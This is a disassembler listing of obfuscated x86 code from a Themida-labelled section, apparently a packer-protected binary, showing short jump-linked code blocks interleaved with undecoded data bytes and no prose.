		mov	esi, [esp]
		jmp	loc_50A09F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E956240Ch, 3289h, 555EF089h, 9F2795BDh, 0CBA5E93Ah
		dd 1C89FFFFh, 62B4BB24h, 44813933h, 48A80824h, 0A3E940ECh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_507107:				; CODE XREF: Themida_:004FF0C2j
		push	3F69h
		mov	[esp], ebx
		mov	bh, 0EAh
		shl	bh, 6
		push	cx
		push	ebx
		mov	bh, 0Ch
		push	edx
		mov	dl, bh
		mov	cl, dl
		jmp	loc_50A78A
; ---------------------------------------------------------------------------
		db 0FFh
a4XrhM		db '4$XRh',27h,'m',0
		dd 24248900h, 4240481h,	5A000000h, 4C281h, 0BE560000h
		dd 59562FB3h, 0FFDE5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507149:				; CODE XREF: Themida_:004FF29Fj
		mov	ebp, 4
		jmp	loc_5059A2
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 241C895Ch, 88C28852h, 24148BD3h
		dd 4C481h, 0DE880000h, 0BC9E9h,	67C28100h, 1CF703Ch, 0EC815AD0h
		dd 4, 51243489h, 0B03572B9h, 0D6C98127h, 8145B825h, 3C788AC1h
		dd 6FE98116h, 891B99AEh, 0D14659CEh, 0F0DCE9EEh, 815AFFFFh
		dd 0C434CAEFh, 0F8F3E964h, 0C828FFFFh, 312C972Ch, 81240C8Bh
		dd 4C4h, 0E9516600h, 0FFFFEF85h, 5F1568h, 0E731E900h, 0B02CFFFFh
		dd 0D8005A66h, 8356CB2Ch, 248904ECh, 24048324h,	2434FF04h
		dd 2A19E9h
		db 0
; ---------------------------------------------------------------------------


loc_5071F1:				; CODE XREF: Themida_:00504D75j
		xor	ebx, edx
		jmp	loc_5037E6
; ---------------------------------------------------------------------------
		dd 835DE801h, 43304E8h,	3EC3E924h, 0C4830000h, 240C3304h
		dd 0FFDA40E9h, 48F5FFFh, 0E96DE924h, 0B25AFFFFh, 0E9CA305Ch
		dd 2828h, 815FFE29h, 0BF6CFEEh,	5EF20927h, 1FB5E94Ah, 4830000h
		dd 0E9590424h, 0FFFFE2D0h
; ---------------------------------------------------------------------------


loc_507240:				; CODE XREF: Themida_:004FFF37j
		mov	[esp], eax
		mov	al, 20h
		jmp	loc_500A61
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C870000h, 4895C24h, 66DEB824h, 6C813629h
		dd 48D30424h, 44291B30h, 0BB530424h, 1B3048D3h,	8245C01h
		dd 0D6E9585Bh, 0C1FFFFC1h, 0C78108EFh, 5E1A54DCh, 68h
		dd 9AFCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507292:				; CODE XREF: Themida_:00507A5Cj
		add	edx, 4DAC0180h
		mov	esi, [esp]
		jmp	loc_508A64
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFA997E9h, 28F64FFh, 0FF7E10E9h,	5AD601FFh
		dd 4EC81h, 4890000h, 0B7BB5324h, 0B83F5107h, 3F5107B5h
		dd 295BD831h, 0D0E958C6h, 81000000h, 4412CEEAh,	0C283590Fh
		dd 24143302h, 33241431h, 248B2414h, 0CD36624h, 64E99C24h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5072F3:				; CODE XREF: Themida_:0050ABFBj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_500A68
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E9C003E1h, 2269E908h, 8F5A0000h, 335C2404h,	0C31240Ch
		dd 240C3324h, 6624248Bh, 0E924048Bh, 0FFFF8E46h, 5E08950h
		dd 4, 8704C083h, 15C2404h, 2434FFF8h, 4C4835Fh,	0F3A6D05h
		dd 42902D29h, 0C72D0C10h, 29514505h, 0E7EFE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507352:				; CODE XREF: Themida_:005059A5j
		xchg	edi, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	66F4h
		mov	[esp], eax
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_501597
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0D5h
		dd 13D5B59h, 0D5EE81DEh, 0E93D5B59h, 0FFFFBA3Dh
; ---------------------------------------------------------------------------


loc_507380:				; CODE XREF: Themida_:00506FF8j
		mov	[esp], edi
		jmp	loc_5069C1
; ---------------------------------------------------------------------------
		dd 5008E2C1h, 5F7E10B8h, 4BBA2D23h, 0D0F7280Bh,	8304E0C1h
		dd 6CE9FFC0h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5038EE
; ---------------------------------------------------------------------------


loc_5073C3:				; CODE XREF: Themida_:00506332j
		push	2864h
		mov	[esp], eax
		mov	eax, 2597A8EFh
		jmp	loc_4FF97D
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 0E924248Bh, 0FFFFE74Ch, 0E904EC83h, 0B54h
; ---------------------------------------------------------------------------


loc_5073E8:				; CODE XREF: Themida_:00505EB0j
		xchg	edx, [esp]
		jmp	loc_50307A
; ---------------------------------------------------------------------------
		dd 8003E7C0h, 5152E6EFh, 0C29E950h, 0C8B0000h, 4C48324h
		dd 8B241C87h, 0F8302424h, 241C8B66h, 6602C483h,	95B55150h
		dd 0FF8FB6E9h, 0F9015DFFh, 6E16685Fh, 0C890000h, 2474FF24h
		dd 98E904h, 68530000h, 4, 5BDA015Bh, 5C241487h,	45FE68h
		dd 241C8900h, 2480BF57h, 0BF573A85h, 14167E62h,	0FF9B65E9h
		dd 2474FFFFh, 240C8B04h, 8F04C483h, 895C2404h, 8E92414h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50746F:				; CODE XREF: Themida_:004FF1EDj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_50142E
; ---------------------------------------------------------------------------
		dd 24048B5Eh, 4C481h, 0EBE90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_507493:				; CODE XREF: Themida_:00509219j
		push	ebx
		pop	edi
		jmp	loc_501E9D
; ---------------------------------------------------------------------------


loc_50749A:				; CODE XREF: Themida_:004FF8E5j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 6C810824h, 48A80824h, 295B40ECh, 5304246Ch, 3362B4BBh
		dd 245C2939h, 3197E908h, 0C8B0000h, 4C48124h, 8F000000h
		dd 248B2404h, 3CD36624h, 13E99C24h, 50FFFFD8h, 6035BF57h
		dd 0E8B8405Ch, 0E97F7156h, 0FFFFDC4Fh, 81EB0159h, 0D857A1EBh
		dd 0B8505D00h, 2BB52B6Ah, 2D48D0F7h, 277669DDh,	0D46AB32Dh
		dd 58C301ACh, 31241C33h, 1C33241Ch, 24248B24h, 9C240421h
		dd 0FF7B98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507529:				; CODE XREF: Themida_:00502C74j
		push	3DE5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_508D78
; ---------------------------------------------------------------------------


loc_507556:				; CODE XREF: Themida_:0050695Dj
		add	esp, 4
		jmp	loc_500464
; ---------------------------------------------------------------------------
		dw 5EE9h
		dd 83FFFF7Bh, 2C8702C5h, 0B2525C24h, 0E9D028BCh, 1C33h
; ---------------------------------------------------------------------------


loc_507574:				; CODE XREF: Themida_:00503DCCj
		add	ebp, esi
		pop	esi
		jmp	loc_4FFF70
; ---------------------------------------------------------------------------
		dd 0DFFFE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507582:				; CODE XREF: Themida_:00501DAAj
		mov	fs:[edx], al
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------


loc_50758A:				; CODE XREF: Themida_:0050443Aj
		sub	ebx, eax
		add	ebx, 27023F6Ah
		jmp	loc_4FF614
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0AD4AE900h, 0EE83FFFFh, 74FF5604h, 348B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 240C8924h, 0FFAE50E9h
		dd 3D3F25FFh, 97E96AD9h, 89FFFFD6h, 0E954242Ch,	1FEAh
		dd 4AB0F66h, 0CAE99C24h, 0BB000030h, 770C66C7h,	0F75BD801h
		dd 2F3C2DD8h, 0ED811C46h, 76D1E12h, 9FE9C501h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5075FB:				; CODE XREF: Themida_:00500337j
		xor	cl, ah
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_509B62
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF7AACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507615:				; CODE XREF: Themida_:0050519Aj
		pop	ebp
		jmp	loc_503D79
; ---------------------------------------------------------------------------
		db 8Bh
		dd 7E9240Ch
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507623:				; CODE XREF: Themida_:0050021Ej
		pop	ebp
		inc	edx
		jmp	loc_507829
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80C32829h, 0C38029C3h, 0B450661Eh, 66E32869h, 8764E958h
		dd 8B66FFFFh, 0E951240Ch, 0FFFFB730h
; ---------------------------------------------------------------------------


loc_50764C:				; CODE XREF: Themida_:005015DFj
		pop	edx
		push	ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5088BF
; ---------------------------------------------------------------------------


loc_507658:				; CODE XREF: Themida_:00509D43j
		push	dword ptr [esp]
		pop	esi
		push	1C7Ah
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		pop	ebx
		add	esi, ecx
		jmp	loc_508665
; ---------------------------------------------------------------------------
		db 58h,	0C1h, 0EDh
		dd 7EDC104h, 8904EC83h,	0FABF243Ch, 8157DA48h, 0D7B09F7h
		dd 87ADE997h, 34FFFFFFh, 242C8B24h, 0E904C483h,	0FFFFE13Ah
		dd 7E04D800h, 26B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5076B1:				; CODE XREF: Themida_:00504137j
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		jmp	loc_500790
; ---------------------------------------------------------------------------


loc_5076C3:				; CODE XREF: Themida_:0050389Ej
		mov	[esp], esi
		jmp	loc_4FF17E
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA8159CFh, 67831A52h, 0C281FA01h, 67831A52h, 0FFE339E9h
		dd 4F26B8FFh, 67E9323Bh, 87000006h, 0BE9243Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5076F3:				; CODE XREF: Themida_:0050A236j
		pop	edi
		shr	eax, 12h
		xor	eax, ecx
		push	13CCh
		mov	[esp], eax
		push	6407h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_50846B
; ---------------------------------------------------------------------------
		db 50h,	83h, 0ECh
		dd 24348904h, 0BB3437BEh, 33EE811Bh, 0E91BBB34h, 0FFFFF9B8h
		dd 34FFD801h, 0EC815B24h, 4, 89241489h,	4C281E2h, 0E9000000h
		dd 0FFFFFCEAh
; ---------------------------------------------------------------------------


loc_507748:				; CODE XREF: Themida_:00502711j
		pop	ebp
		jmp	loc_508A9C
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 43DBB924h, 0F9E91D5Ah, 83000023h, 8F042404h,	0BD552404h
		dd 4, 4246C01h,	24348B5Dh, 8104C483h, 4C6h, 4EC8100h, 89000000h
		dd 2B9240Ch, 1000000h, 343359CEh, 24343124h, 8B243433h
		dd 0F662424h, 9C2404BBh, 0FF7920E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5077A1:				; CODE XREF: Themida_:00504F6Cj
		shl	edi, 6
		add	edi, 0AA1B03Bh
		sub	ebp, edi
		pop	edi
		add	edx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_506A0A
; ---------------------------------------------------------------------------


loc_5077BA:				; CODE XREF: Themida_:00503E08j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50024D
; ---------------------------------------------------------------------------
		dd 54242C89h, 0E81AE95Dh, 8B66FFFFh, 8351240Ch,	248904ECh
		dd 24048124h, 4, 8B2434FFh, 0C481240Ch,	4, 0FF9CB0E9h
		dd 241C89FFh, 2BBh, 8FBE5600h, 52590329h, 2236D2BAh, 0E9D62907h
		dd 0FFFFBF84h, 8B242C33h, 0F9F62424h, 0CCB60F66h, 0FFC052E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507829:				; CODE XREF: Themida_:00507625j
		shl	edx, 7
		xor	edx, 698C09B0h
		sub	ebx, edx
		pop	edx
		push	eax
		mov	eax, 2E9868A0h
		add	edx, 7D034F72h
		sub	edx, eax
		sub	edx, 7D034F72h
		jmp	loc_5078DE
; ---------------------------------------------------------------------------
		dw 0DFB8h
		dd 25670F77h, 5FD31931h, 5FE9D8F7h, 0B8FFFFF8h,	6CAD69FBh
		dd 0FD75E953h, 0E95AFFFFh, 0B32h, 4E9F300h, 5FFFFFC2h
		dd 4C281h, 14870000h, 383CE924h, 1B80000h, 8963D166h, 0D60158C2h
		dd 5624148Bh, 3606E9h
		db 0
; ---------------------------------------------------------------------------


loc_507899:				; CODE XREF: Themida_:00504E88j
		push	ebx
		mov	ebx, esp
		jmp	loc_504CFB
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 8F24248Bh, 0FE5C2404h, 0E99C2404h, 0FFFF780Dh, 8324348Bh
		dd 0C48304C4h, 6F266804h, 34890000h, 448CBE24h,	0EE816BE1h
		dd 1, 4EC81h, 14890000h, 78F7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5078DE:				; CODE XREF: Themida_:00507849j
		pop	eax
		sub	edx, 1E2219DAh
		jmp	loc_509F1D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E7895724h, 4C781h, 0EF830000h, 0B8AAE904h, 0F820FFFFh
		dd 17245B66h, 0FF9E5BE9h, 7BE95AFFh, 50FFFFB0h,	4055854h
		dd 55000000h, 0E03652BDh, 0E2BF5765h, 2940F31Eh, 0D5F75FFDh
		dd 0FFAEA2E9h, 28F66FFh, 0FF778CE9h, 5BDA09FFh,	0DFB4F281h
		dd 0D101F7FBh, 0E924148Bh, 2FCAh, 8EC28166h, 0E281660Ch
		dd 81660ED2h, 66D41AEAh, 665AD129h, 34FFC801h, 240C8B24h
		dd 4C481h, 0C4810000h, 4, 25B86650h, 9A5CE97Ch,	8B66FFFFh
		dd 0C2E9240Ch, 83FFFFBCh, 0FF5304C3h, 0E9042474h, 0FFFFE2E5h
		dd 9C241CF7h, 0FF9B03E9h, 8FE955FFh
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50799F:				; CODE XREF: Themida_:005006EFj
		mov	edx, 310E24E3h
		inc	edx
		inc	edx
		add	edx, 6326E63h
		neg	edx
		shl	edx, 6
		sub	edx, 0ED7D1927h
		add	edi, edx
		jmp	loc_500F94
; ---------------------------------------------------------------------------
		dw 8956h
		dd 5EF589DEh, 81241C8Bh, 4C4h, 1C6F2100h, 0FFFCC5E9h, 4E983FFh
		dd 2893E9h, 240C3300h, 33240C31h, 248B240Ch, 2434FF24h
		dd 5524048Bh, 0FFBCA8E9h, 0EE885AFFh, 0FF9AD9E9h, 5D829FFh
		dd 55560B5Eh, 58C1015Bh, 0FFC568E9h, 4BFFFh, 0F9010000h
		dd 4C1835Fh, 748E9h, 0E9D90800h, 409h, 76A7C181h, 0D90125F6h
		dd 36CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_507A31:				; CODE XREF: Themida_:0050B069j
		or	eax, eax
		jz	loc_5094B1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		push	edi
		mov	edi, 4DAC0180h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, esi
		jmp	loc_507292
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C7010000h, 9627E958h, 8304FFFFh, 8073EB80h,	0C328C3EBh
		dd 80C3C380h, 45E973C3h, 0FFFFFFBDh, 669D1C77h,	241CD359h
		dd 762FE99Ch, 8159FFFFh, 4C4h, 0FC33000h, 34FFC0B6h, 24048187h
		dd 1B663EEh, 31ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_507AAD:				; CODE XREF: Themida_:004FF817j
		mov	esi, 330A2739h
		jmp	loc_501C72
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1F5068h, 0BB60E900h,	0D2F6FFFFh, 88D58851h, 0E9EF88FAh
		dd 0FFFF8B59h, 7569BB53h, 0DF316D48h, 1EACE9h, 2434FF00h
		dd 0E6895658h, 4C681h, 0C6830000h, 24348704h, 24048F5Ch
		dd 5324248Bh, 88D58851h, 0EC8159EBh, 4,	88241489h, 9E10E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507B0E:				; CODE XREF: Themida_:0050A35Aj
		mov	ebp, 23DF12CEh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5015A0
; ---------------------------------------------------------------------------


loc_507B1B:				; CODE XREF: Themida_:005086ACj
		push	164Fh
		jmp	loc_504CD1
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C2414h, 0FFFF758Dh
; ---------------------------------------------------------------------------


loc_507B34:				; CODE XREF: Themida_:0050228Aj
		add	ebp, edx
		pop	edx
		jmp	loc_504AAF
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 24248B24h, 58240489h, 0FF7570E9h
		dd 4BFFFh, 0FA010000h, 4EA815Fh, 0E9000000h, 0FFFFF5EFh
; ---------------------------------------------------------------------------


loc_507B64:				; CODE XREF: Themida_:00506381j
		pop	edx
		jmp	loc_503898
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0FF92A8E9h, 7547E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507B7A:				; CODE XREF: Themida_:00507C92j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	eax
		jmp	loc_4FF645
; ---------------------------------------------------------------------------
		dw 0C301h
		dd 0DF7C381h, 6D684533h, 0E9000074h, 32BFh
; ---------------------------------------------------------------------------


loc_507B9C:				; CODE XREF: Themida_:00506DB6j
		add	edi, 5B62114Eh
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_503DF6
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 66h
		dd 0B38CE95Ah, 0C33FFFFh, 240C3124h, 5C240C33h,	8F66C331h
		dd 74F7E900h, 0EC83FFFFh, 24048904h, 0FF9E4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507BD5:				; CODE XREF: Themida_:00503995j
		mov	ebp, 18E06DFEh
		push	ebx
		mov	ebx, 4A4637BDh
		xor	ebx, 706E1E9Ch
		sub	ebp, ebx
		pop	ebx
		jmp	loc_507DE2
; ---------------------------------------------------------------------------
		dw 15BDh
		dd 812B2B3Eh, 0F65697C5h, 0E9D5F724h, 0FFFFE12Fh, 652FEF81h
		dd 0EBE9E274h, 0FFFFFFE2h, 34FF2434h, 24048B24h, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 2A1Ah, 81242489h, 42404h
		dd 34FF0000h, 0EDE95F24h, 56FFFFCAh, 0AE7EA4BEh, 0D6F74E0Dh
		dd 7F03B850h, 9E96F97h,	31FFFF9Eh, 0D5F75EF5h, 0E94D4D45h
		dd 0FFFFD093h, 5C241C87h, 5A287788h, 0FFA146E9h, 0DAC181FFh
		dd 12D1614h, 8522E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507C76:				; CODE XREF: Themida_:004FF848j
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		sub	ebp, 31532BECh
		add	ebp, ebx
		add	ebp, 31532BECh
		pop	ebx
		add	ebp, 2
		jmp	loc_507B7A
; ---------------------------------------------------------------------------
		db 31h
		dd 0F2815BDAh, 0FA189223h, 0FF1C5709h, 148B2434h, 4C48324h
		dd 0E9E28952h, 2D64h, 0B5240C89h, 0FEC5FE47h, 0E9DDF6CDh
		dd 0FFFFB707h
; ---------------------------------------------------------------------------


loc_507CC4:				; CODE XREF: Themida_:0050876Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_4FF13E
; ---------------------------------------------------------------------------
		dd 8104E3C1h, 86219BF3h, 0AF4AE907h, 0E931FFFFh, 0A8C1815Dh
		dd 19A40F4h, 240C8BCAh,	4C481h,	14870000h, 24D35C24h, 0BEE99C24h
		dd 29FFFF73h, 0E9515FFEh, 0FFFF8C5Eh, 28B6664h,	0FFF196E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507D15:				; CODE XREF: Themida_:00502727j
		add	ebp, 55041EBCh
		dec	ebp
		not	ebp
		push	esi
		mov	esi, 48FFD527h
		xor	ebp, esi
		pop	esi
		xor	[eax], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0E3895324h, 4C381h, 0C3830000h, 0FF0AE904h, 0C329FFFFh
		dd 0D237E958h, 0C281FFFFh, 632D4D29h, 0FF7A9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507D65:				; CODE XREF: Themida_:00504B75j
		add	esi, 1
		jmp	loc_4FFA80
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 0FFFFA552h, 896BEFBAh, 99BF572Ch, 0E93B5E4Ah, 0FFFFF22Dh
; ---------------------------------------------------------------------------


loc_507D84:				; CODE XREF: Themida_:00501106j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 4F446FC9h
		jmp	loc_50397F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 0E39AE904h, 966FFFFh, 0A872E9F7h, 38BAFFFFh
		dd 1000000h, 5A2A88FAh,	7307E959h, 8B66FFFFh, 89522404h
		dd 4BF57E2h, 1000000h, 51575FFAh, 3940A8B9h, 0FBBA520Ah
		dd 81756629h, 0EA6222F2h, 24BAE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507DE2:				; CODE XREF: Themida_:00507BE9j
		shr	ebp, 2
		add	ebp, 0D17EFDC6h
		mov	edi, ebp
		pop	ebp
		mov	eax, 0F6D2F107h
		jmp	loc_503A92
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 80E9EE01h, 8BFFFF94h,	0C4E92414h, 81000026h
		dd 4C7h, 4BE5600h, 29000000h, 77C3E9F7h, 0C181FFFFh, 7970649Ch
		dd 0FF8C6DE9h, 4FE95BFFh, 28000025h, 536658E7h,	0F89E9h
		db 0
; ---------------------------------------------------------------------------


loc_507E3D:				; CODE XREF: Themida_:004FFF7Ej
		mov	ecx, 5A0E05CBh
		jmp	loc_5032E5
; ---------------------------------------------------------------------------
		db 53h
		dd 5B240CFFh, 0FFB613E9h, 0AB685AFFh, 89000043h, 30BF243Ch
		dd 0C10E7D36h, 0C78106E7h, 4722B33h, 6779CF81h,	0EF831821h
		dd 73EF81FFh, 314D45EDh, 2434FFFAh, 81243C8Bh, 4C4h, 4C48100h
		dd 0B000000h, 39840FC9h, 68FFFFE7h, 7EF0h, 24048F54h, 40BE5650h
		dd 0E9669F35h, 0FFFF9C08h, 0FF7214E9h, 8BEA89FFh, 0C483242Ch
		dd 814BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507EBA:				; CODE XREF: Themida_:0050700Aj
		add	ebx, 4
		sub	esp, 4
		jmp	loc_502122
; ---------------------------------------------------------------------------
		dd 5D04F800h, 0FFB644E9h, 0E6E950FFh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507ED7:				; CODE XREF: Themida_:005093BBj
		add	eax, 7CE44D9Fh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		neg	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2D986D7Ah
		sub	ebp, 0D5E6AB1h
		jmp	loc_505691
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0BBh
		dd 0BBB2FA5h, 0FFC703E9h, 37ED80FFh, 5259E828h,	0E2C0DCB2h
		dd 80D2F606h, 91E90BC2h, 0BAFFFF90h, 6ED101C4h,	89EA814Ah
		dd 0E90BB1C3h, 0FFFFBC66h
; ---------------------------------------------------------------------------


loc_507F34:				; CODE XREF: Themida_:005034F5j
		mov	[esp], ebx
		jmp	loc_503569
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 52A1292Eh, 0FFB896E9h, 4C483FFh,	0C281C201h
		dd 782104BFh, 0FF7168E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_507F59:				; CODE XREF: Themida_:005081DEj
		pop	ebp
		shl	eax, cl
		push	edi
		mov	edi, 94B2E40h
		jmp	loc_5049F3
; ---------------------------------------------------------------------------


loc_507F67:				; CODE XREF: Themida_:00507070j
		mov	ecx, 65622F15h
		add	ecx, 0A933654h
		or	ecx, 157740B3h
		sub	ecx, 1
		jmp	loc_508BD4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF7139h, 9262DA68h, 240C8B78h, 4C481h, 0E1C10000h
		dd 9DE98106h, 8165FD60h, 0BE7721E1h, 25F18145h,	89049A55h
		dd 0FA0159CFh, 81243C8Bh, 4C4h,	2D47E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_507FBE:				; CODE XREF: Themida_:00501B64j
		not	ebx
		jmp	loc_4FF315
; ---------------------------------------------------------------------------


loc_507FC5:				; CODE XREF: Themida_:00508684j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_4FFBB2
; ---------------------------------------------------------------------------


loc_507FDC:				; CODE XREF: Themida_:0050207Aj
		inc	eax
		add	eax, 4FF54E01h
		shr	eax, 1
		xor	eax, 31E573EFh
		sub	eax, 8B0B0DDh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_50A233
; ---------------------------------------------------------------------------


loc_507FFC:				; CODE XREF: Themida_:005089EBj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 7CE35FC5h
		pop	eax
		jmp	loc_505B77
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0A2B353CCh, 10E9D920h, 0B400002Ch, 7E4C064h,	88EBF480h
		dd 0CD8058E5h, 0EAE58007h, 8849F580h, 2506E9EAh, 81580000h
		dd 2EFh, 74FF5700h, 8F5F0424h, 248B2404h, 0C896624h, 0B60F6624h
		dd 31BFE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_508062:				; CODE XREF: Themida_:00504F62j
		pop	esp
		inc	edi
		sub	esp, 4
		jmp	loc_506893
; ---------------------------------------------------------------------------
		db 68h
		dd 6E9F4B83h, 53F26859h, 34890000h, 900BE24h, 7CE949B9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_508087:				; CODE XREF: Themida_:0050A6A4j
		mov	ecx, 58A35C92h
		and	ecx, 21003FC3h
		inc	ecx
		add	ecx, 432F10D1h
		jmp	loc_502685
; ---------------------------------------------------------------------------


loc_50809E:				; CODE XREF: Themida_:0050571Aj
		add	esp, 4
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5030A2
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0FFDCD5E9h, 0F8EA81FFh, 148A76Bh,	0F8C281DAh
		dd 8148A76Bh, 5F3DB8EAh, 241C8B31h, 53E28952h, 4BBh, 5BDA0100h
		dd 0E904C283h, 0FFFF8434h, 3C8BF831h, 5A545224h, 0FFBEBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5080F5:				; CODE XREF: Themida_:004FFDC1j
		push	ecx
		push	ebx
		sub	dword ptr [esp], 2A1D2D83h
		jmp	loc_502FE9
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD0EC1F6h, 5EF1016Dh, 4FEFE181h, 0C9813547h, 6F540F77h
		dd 0EB7F181h, 0CE895E6Bh, 0C4F68159h, 1213C41h,	8E4BE9F3h
		dd 1489FFFFh, 0E9E28924h, 0FFFFFB03h, 0BF57E389h, 4, 2A3CC381h
		dd 0FB013450h, 2A3CEB81h, 89E93450h, 81FFFF8Ch,	0BB51A4C7h
		dd 2434FF29h, 5A2434FFh, 188BE9h, 240C8700h, 8124248Bh
		dd 2C1h, 240C3300h, 826E9h, 5E08900h, 4, 42Dh, 24048700h
